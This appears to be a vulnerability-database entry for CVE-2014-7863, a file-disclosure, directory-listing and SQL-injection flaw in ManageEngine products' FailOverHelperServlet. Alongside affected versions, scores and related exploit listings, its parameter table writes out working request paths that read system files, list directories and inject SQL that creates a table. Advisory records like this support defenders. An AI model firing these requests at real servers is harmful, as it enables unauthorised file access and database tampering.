CVE-2014-7863

🗓️ 08 Feb 2020 16:57:37Reported by mitreType

cve🔗 web.nvd.nist.gov👁 155 Views🌐 WEB

ZOHO ManageEngine Applications Manager FailOverHelperServlet Access Restriction Bypas

Reporter	Title	Published	Views	Family All 19
zdt	ManageEngine Multiple Products Arbitrary File Download Exploit	3 Feb 201500:00	–	zdt
zdt	ManageEngine Multiple Products Arbitrary Directory Listing Exploit	3 Feb 201500:00	–	zdt
zdt	ManageEngine OpManager / Applications Manager / IT360 -FailOverServlet Multiple Vulnerability	26 Jan 201800:00	–	zdt
circl	CVE-2014-7863	29 May 201815:50	–	circl
cnvd	ZOHO ManageEngine Applications Manager FailOverHelperServlet servlet Information Disclosure Vulnerability	30 Apr 201500:00	–	cnvd
checkpoint_advisories	ManageEngine Multiple Products FailOverHelperServlet copyfile Information Disclosure (CVE-2014-7863)	2 Mar 201500:00	–	checkpoint_advisories
cvelist	CVE-2014-7863	8 Feb 202016:57	–	cvelist
exploitdb	ManageEngine OpManager / Applications Manager / IT360 - 'FailOverServlet' Multiple Vulnerabilities	9 Feb 201500:00	–	exploitdb
exploitpack	ManageEngine OpManager Applications Manager IT360 - FailOverServlet Multiple Vulnerabilities	9 Feb 201500:00	–	exploitpack
nessus	ManageEngine Applications Manager FailOverHelperServlet 'fileName' Parameter Arbitrary File Disclosure	8 Jun 201500:00	–	nessus

NVD

Node

zohocorp manageengine_applications_managerRange≤11.9

zohocorp manageengine_it360Range≤10.5

zohocorp manageengine_opmanagerRange8–11.5

Source	Link
raw	www.raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt
seclists	www.seclists.org/fulldisclosure/2015/Jan/114
support	www.support.zoho.com/portal/manageengine/helpcenter/articles/vulnerabilities-in-failoverhelperservlet
packetstormsecurity	www.packetstormsecurity.com/files/130162/ManageEngine-File-Download-Content-Disclosure-SQL-Injection.html
exchange	www.exchange.xforce.ibmcloud.com/vulnerabilities/100554
securityfocus	www.securityfocus.com/archive/1/archive/1/534575/100/0/threaded

Parameter	Position	Path	Description	CWE
operation	query param	/servlet/FailOverHelperServlet?operation=copyfile&fileName=C:\boot.ini	Arbitrary file download vulnerability via copyfile operation to read arbitrary files.	CWE-200
fileName	query param	/servlet/FailOverHelperServlet?operation=copyfile&fileName=C:\boot.ini	Arbitrary file download vulnerability via copyfile operation to read arbitrary files.	CWE-200
operation	query param	/servlet/FailOverHelperServlet?operation=listdirectory&rootDirectory=C:\	Directory listing information disclosure vulnerability that lists files under a directory and its children.	CWE-200
rootDirectory	query param	/servlet/FailOverHelperServlet?operation=listdirectory&rootDirectory=C:\	Directory listing information disclosure vulnerability that lists files under a directory and its children.	CWE-200
operation	query param	/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=[SQLi_1]&serverRole=[SQLi_2]	Blind SQL injection vulnerability via standbyUpdateInCentral operation.	CWE-200
customerName	query param	/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=[SQLi_1]&serverRole=[SQLi_2]	Blind SQL injection vulnerability via standbyUpdateInCentral operation.	CWE-200
serverRole	query param	/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=[SQLi_1]&serverRole=[SQLi_2]	Blind SQL injection vulnerability via standbyUpdateInCentral operation.	CWE-200
operation	query param	/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=a')%3b+create+table+bacas+(bodas+text)%3b--+&serverRole=a	Blind SQL injection vulnerability via crafted payload in standbyUpdateInCentral.	CWE-200
customerName	query param	/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=a')%3b+create+table+bacas+(bodas+text)%3b--+&serverRole=a	Blind SQL injection vulnerability via crafted payload in standbyUpdateInCentral.	CWE-200
serverRole	query param	/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=a')%3b+create+table+bacas+(bodas+text)%3b--+&serverRole=a	Blind SQL injection vulnerability via crafted payload in standbyUpdateInCentral.	CWE-200

17 Jun 2026 00:15Current

6.9Medium risk

Vulners AI Score6.9

CVSS 25

CVSS 3.17.5

EPSS0.83399

CWE-200